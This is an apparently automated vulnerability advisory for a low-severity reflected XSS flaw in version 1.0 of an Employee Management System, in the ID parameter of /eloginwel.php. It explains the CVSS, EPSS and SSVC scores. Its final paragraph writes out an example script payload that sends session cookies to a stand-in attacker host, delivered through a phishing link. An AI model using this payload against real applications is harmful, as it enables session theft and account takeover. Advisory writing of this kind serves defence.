Employee Management System EUVD-2026-31618

The CVSS 4.0 vector (PR:N) confirms no authentication is required to submit the malicious request to /eloginwel.php, meaning the attacker does not need credentials on the system. However, exploitation requires passive user interaction (UI:P): a valid user of the application must click or follow the attacker-controlled crafted URL for the injected script to execute in a meaningful context. The application must be network-accessible (AV:N), but no non-default server configuration or specific feature flag is identified as a prerequisite - the vulnerable parameter appears to be present in the default deployment of version 1.0. Exploitation is limited by the need for social engineering to achieve user interaction, the low-adoption nature of this open-source project (limiting potential victim pool), and the partial-only integrity impact with no confidentiality or availability consequence per CVSS. The SSVC determination of 'Automatable: no' further confirms that automated, untargeted exploitation at scale is not feasible.

The overall risk is low. The CVSS 4.0 base score of 2.1 reflects constrained impact: confidentiality is unaffected (VC:N), integrity impact is limited to the vulnerable system only (VI:L), and availability is unaffected (VA:N). The requirement for passive user interaction (UI:P) prevents fully automated exploitation - an attacker must socially engineer a victim into clicking a crafted link. The EPSS score of 0.03% at the 10th percentile corroborates low real-world exploitation probability, which is consistent with the SSVC assessment of 'Automatable: no' and 'Technical Impact: partial'. The POC is publicly available (E:P in CVSS 4.0 vector), meaning script kiddies can attempt targeted attacks with minimal skill. However, there is no CISA KEV listing and no evidence of exploitation in the wild. The gap between POC availability and near-zero EPSS score suggests this has not been picked up by threat actors at scale. The product appears to be a low-adoption open-source project, further limiting population of exploitable targets. This vulnerability is a low priority relative to higher-CVSS, KEV-listed issues.

An attacker crafts a malicious URL targeting /eloginwel.php with a JavaScript payload injected into the ID parameter - for example, appending ?ID=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> - then delivers the link to an authenticated employee via phishing email or chat. When the victim clicks the link, their browser renders the unsanitized response and executes the attacker's script, potentially exfiltrating session cookies or performing actions on behalf of the victim within the application. A proof-of-concept demonstrating this technique is publicly available at the referenced GitHub repository, reducing attacker skill requirements.